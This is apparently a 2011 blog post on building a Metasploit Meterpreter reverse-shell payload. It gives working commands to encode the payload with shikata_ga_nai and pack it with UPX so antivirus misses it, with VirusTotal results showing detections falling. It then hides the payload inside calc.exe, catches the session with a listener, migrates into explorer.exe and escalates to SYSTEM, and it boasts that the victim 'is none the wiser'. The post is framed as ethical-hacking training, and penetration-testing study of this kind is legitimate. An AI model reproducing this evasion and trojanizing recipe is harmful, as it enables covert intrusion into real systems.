Payload Creation


I’m going to jump ahead a bit this month.  I’ve been attending the Offensive-Security Ohio Chapter meetings, hosted by Offensive-Security and Diebold, Incorporated, and lead by ReL1K.  If you have the means and you’re just getting into the business of ethical hacking, I highly recommend attending.  If you’re not in the area, the last meeting was streamed via USTREAM, so check the Offensive-Security site for details.

At the first two meetings, we learned the basics of Metasploit, Fast-Track, and SET.  I’m just going to cover the topic of creating a payload and encoding it to avoid detection from anti-virus.

First, we use “msfpayload” to dump the shell code that will produce a reverse bind Meterpreter session.  Meterpreter is the holy-grail of Metaploit.  It allows us to easily upload/download files and run commands, steal access tokens, disable AV, enable RDP and much, much more.  The reverse bind allows the session to traverse a NAT environment.  We just need to assign a port that we know will pass any egress filter, such as 80 or 443.  Here is the command that we use to create the raw data:

cd /pentest/exploits/framework3
msfpayload windows/meterpreter/reverse_tcp lhost=192.168.0.147 lport=443 R > moo.raw

Next, we create an executable from the raw dump and encode it with five iterations of “Shikata ga nai” (Japanese for “it can’t be helped” or “nothing can be done about it”).  It is an encoding algorithm that we use to avoid detection from AV.

msfencode -i moo.raw -o moo.exe -e x86/shikata_ga_nai -c 5 -t exe

Let’s put this executable to the test.  VirusTotal is an excellent site that allows to upload a file, which it will scan using numerous anti-virus engines.

Antivirus Version Last update Result
AhnLab-V3 2011.03.20.00 2011.03.19 Trojan/Win32.Shell
AntiVir 7.11.5.1 2011.03.18 TR/Crypt.EPACK.Gen2
Antiy-AVL 2.0.3.7 2011.03.19
Avast 4.8.1351.0 2011.03.19 Win32:SwPatch
Avast5 5.0.677.0 2011.03.19 Win32:SwPatch
AVG 10.0.0.1190 2011.03.19 Win32/Heur
BitDefender 7.2 2011.03.19 Backdoor.Shell.AC
CAT-QuickHeal 11.00 2011.03.19 Win32.Trojan.Swrort.A.4
ClamAV 0.96.4.0 2011.03.19
Commtouch 5.2.11.5 2011.03.19 W32/Swrort.A.gen!Eldorado
Comodo 8042 2011.03.19
DrWeb 5.0.2.03300 2011.03.19
Emsisoft 5.1.0.2 2011.03.19
eSafe 7.0.17.0 2011.03.17
eTrust-Vet 36.1.8223 2011.03.18 Win32/Swrort.A!generic
F-Prot 4.6.2.117 2011.03.19 W32/Swrort.A.gen!Eldorado
F-Secure 9.0.16440.0 2011.03.19 Backdoor.Shell.AC
Fortinet 4.2.254.0 2011.03.19
GData 21 2011.03.19 Backdoor.Shell.AC
Ikarus T3.1.1.97.0 2011.03.19
Jiangmin 13.0.900 2011.03.18
K7AntiVirus 9.94.4155 2011.03.19 Riskware
Kaspersky 7.0.0.125 2011.03.19
McAfee 5.400.0.1158 2011.03.19
McAfee-GW-Edition 2010.1C 2011.03.19
Microsoft 1.6603 2011.03.19 Trojan:Win32/Swrort.A
NOD32 5968 2011.03.19 a variant of Win32/Rozena.AH
Norman 6.07.03 2011.03.19
nProtect 2011-02-10.01 2011.02.15 Backdoor.Shell.AC
Panda 10.0.3.5 2011.03.19 Suspicious file
PCTools 7.0.3.5 2011.03.19
Prevx 3.0 2011.03.20
Rising 23.49.04.05 2011.03.18
Sophos 4.63.0 2011.03.20 Mal/Swrort-C
SUPERAntiSpyware 4.40.0.1006 2011.03.19 Trojan.Backdoor-PoisonIvy
Symantec 20101.3.0.103 2011.03.19
TheHacker 6.7.0.1.152 2011.03.19
TrendMicro 9.200.0.1012 2011.03.19
TrendMicro-HouseCall 9.200.0.1012 2011.03.19
VBA32 3.12.14.3 2011.03.18
VIPRE 8758 2011.03.20 Trojan.Win32.Swrort.B (v)
ViRobot 2011.3.19.4366 2011.03.19
VirusBuster 13.6.258.0 2011.03.19 Trojan.Rosena.Gen.1

Not bad, but hopefully we can do better.  Another trick ReL1k taught us was to use a UPX packer, which will further help us avoid being detected.  Here is the command to create a “packed” executable:

/pentest/database/sqlmap/lib/contrib/upx/linux/upx -9 -o moo_packed.exe moo.exe
Antivirus Version Last update Result
AhnLab-V3 2011.03.20.00 2011.03.19
AntiVir 7.11.5.1 2011.03.18 TR/Crypt.ZPACK.Gen
Antiy-AVL 2.0.3.7 2011.03.19
Avast 4.8.1351.0 2011.03.19
Avast5 5.0.677.0 2011.03.19
AVG 10.0.0.1190 2011.03.20 Win32/Heur
BitDefender 7.2 2011.03.19 Gen:Variant.Kazy.7277
CAT-QuickHeal 11.00 2011.03.19
ClamAV 0.96.4.0 2011.03.19
Commtouch 5.2.11.5 2011.03.19
Comodo 8042 2011.03.19
DrWeb 5.0.2.03300 2011.03.19
Emsisoft 5.1.0.2 2011.03.20
eSafe 7.0.17.0 2011.03.17
eTrust-Vet 36.1.8223 2011.03.18
F-Prot 4.6.2.117 2011.03.19
F-Secure 9.0.16440.0 2011.03.19 Gen:Variant.Kazy.7277
Fortinet 4.2.254.0 2011.03.19
GData 21 2011.03.19 Gen:Variant.Kazy.7277
Ikarus T3.1.1.97.0 2011.03.19
Jiangmin 13.0.900 2011.03.18
K7AntiVirus 9.94.4155 2011.03.19
Kaspersky 7.0.0.125 2011.03.19
McAfee 5.400.0.1158 2011.03.19
McAfee-GW-Edition 2010.1C 2011.03.19
Microsoft 1.6603 2011.03.19
NOD32 5968 2011.03.19
Norman 6.07.03 2011.03.19
nProtect 2011-02-10.01 2011.02.15 Gen:Variant.Kazy.7277
Panda 10.0.3.5 2011.03.19 Suspicious file
PCTools 7.0.3.5 2011.03.19
Prevx 3.0 2011.03.20
Rising 23.49.04.05 2011.03.18
Sophos 4.63.0 2011.03.20
SUPERAntiSpyware 4.40.0.1006 2011.03.19
Symantec 20101.3.0.103 2011.03.20 Suspicious.MH690.A
TheHacker 6.7.0.1.152 2011.03.19
TrendMicro 9.200.0.1012 2011.03.19 PAK_Generic.001
TrendMicro-HouseCall 9.200.0.1012 2011.03.20 PAK_Generic.001
VBA32 3.12.14.3 2011.03.18
VIPRE 8758 2011.03.20
ViRobot 2011.3.19.4366 2011.03.19
VirusBuster 13.6.258.0 2011.03.19

It’s not perfect, but definitely better.  There’s always going to be a cat-and-mouse game between the hackers and the anti-virus vendors.

One more trick.  What if we want to attach the Meterpreter payload to a known good executable, such as “calc.exe”?  Here’s a quick one-liner.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.147 LPORT=443 R | msfencode -x ./calc.exe -k -e x86/shikata_ga_nai -c 5 -t exe -o payload_calc.exe

Then we just need to setup a listener using Metasploit’s “multi/handler”, copy “payload_calc.exe” to the victim machine and execute it.

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.147
LHOST => 192.168.0.147
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.147:443
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (749056 bytes) to 192.168.0.123
[*] Meterpreter session 1 opened (192.168.0.147:443 -> 192.168.0.123:1089) at Mon Mar 21 17:17:07 -0400 2011

msf exploit(handler) > sessions -i

Active sessions
===============

 Id  Type                   Information               Connection
 --  ----                   -----------               ----------
 1   meterpreter x86/win32  BUDLITE\spohnl @ BUDLITE  192.168.0.147:443 -> 192.168.0.123:1089

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Booya!  We have a Meterpreter session and the victim is none the wiser.  As a final step, we’ll want to migrate the Meterpreter session off of the calc executable so we can maintain our session after calc is closed.  Oh, and don’t forget to upgrade your access to SYSTEM!

meterpreter > ps

Process list
============

 PID   Name                 Arch  Session  User                 Path
 ---   ----                 ----  -------  ----                 ----
 0     [System Process]
 4     System               x86   0
 540   smss.exe             x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 612   csrss.exe            x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 636   winlogon.exe         x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 680   services.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 692   lsass.exe            x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 848   vmacthlp.exe         x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 864   svchost.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 940   svchost.exe          x86   0                             C:\WINDOWS\system32\svchost.exe
 1044  svchost.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1120  svchost.exe          x86   0                             C:\WINDOWS\system32\svchost.exe
 1288  svchost.exe          x86   0                             C:\WINDOWS\system32\svchost.exe
 1436  explorer.exe         x86   0        BUDLITE\spohnl       C:\WINDOWS\Explorer.EXE
 1532  spoolsv.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1720  VMwareTray.exe       x86   0        BUDLITE\spohnl       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 1736  VMwareUser.exe       x86   0        BUDLITE\spohnl       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
 1892  inetinfo.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\inetsrv\inetinfo.exe
 1940  sqlservr.exe         x86   0        NT AUTHORITY\SYSTEM  c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
 224   snmp.exe             x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\snmp.exe
 244   sqlbrowser.exe       x86   0        NT AUTHORITY\SYSTEM  c:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe
 336   vmtoolsd.exe         x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 376   VMUpgradeHelper.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
 2148  alg.exe              x86   0                             C:\WINDOWS\System32\alg.exe
 3364  wuauclt.exe          x86   0        BUDLITE\spohnl       C:\WINDOWS\system32\wuauclt.exe
 3372  cmd.exe              x86   0        BUDLITE\spohnl       C:\WINDOWS\system32\cmd.exe
 2508  svchost.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 3700  payload_calc.exe     x86   0        BUDLITE\spohnl       C:\WINDOWS\system32\payload_calc.exe

meterpreter > migrate 1436
[*] Migrating to 1436...
[*] Migration completed successfully.
meterpreter > getuid
Server username: BUDLITE\spohnl
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

That’s all there is to it.  Now you can have your way with this system!

Comments are closed.